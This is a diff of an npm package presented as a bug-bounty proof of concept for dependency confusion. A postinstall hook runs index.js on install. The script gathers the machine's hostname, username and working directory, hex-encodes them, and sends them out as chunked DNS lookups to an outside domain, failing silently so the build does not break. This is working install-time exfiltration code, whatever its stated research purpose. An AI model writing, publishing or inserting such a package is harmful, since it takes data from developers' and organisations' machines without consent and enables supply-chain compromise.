company-billing-sdk-bugbounty 99.99.99

package/index.js

@@ -0,0 +1,49 @@
+// Bug Bounty - Dependency Confusion PoC
+// Package: company-billing-sdk-bugbounty
+// If you have any questions, please contact: dd_06@wearehackerone.com
+
+const dns = require('dns');
+const os = require('os');
+
+function toHex(input) {
+    return Buffer.from(input, 'utf8').toString('hex');
+}
+
+function sendDnsPayload() {
+    try {
+        const parsed = new URL('https://deepbounty.dd06-dev.fr/cb/c022ab3b-c0aa-4fc5-8801-dc21beb7ac34');
+        const baseDomain = parsed.hostname;
+        // Extract UUID from path or default to 'cb'
+        const uuidLabel = (parsed.pathname.split('/').filter(Boolean).pop() || 'cb').replace(/[^a-zA-Z0-9]/g, '');
+
+        const info = {
+            pkg: "company-billing-sdk-bugbounty",
+            host: os.hostname(),
+            user: os.userInfo().username,
+            cwd: process.cwd(),
+            time: new Date().toISOString()
+        };
+
+        const hexPayload = toHex(JSON.stringify(info));
+        // Split into 50-char chunks for safe DNS labels
+        const chunks = hexPayload.match(/.{1,50}/g) || [];
+
+        if (!chunks.length || !baseDomain) return;
+
+        // Iterate and send using System Resolver
+        chunks.forEach((chunk, index) => {
+            const hostname = `${index}-${chunks.length}.${uuidLabel}.${chunk}.${baseDomain}`;
+            
+            // Jitter to avoid flooding local resolver
+            setTimeout(() => {
+                dns.lookup(hostname, (err) => { 
+                });
+            }, index * 200);
+        });
+
+    } catch (e) {
+        // Silent failure to avoid breaking the build
+    }
+}
+
+sendDnsPayload();

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "company-billing-sdk-bugbounty",
+  "version": "99.99.99",
+  "description": "Bug Bounty package - If you see this, your organization may be vulnerable to dependency confusion",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "keywords": [
+    "security",
+    "bug-bounty",
+    "dependency-confusion"
+  ],
+  "license": "MIT"
+}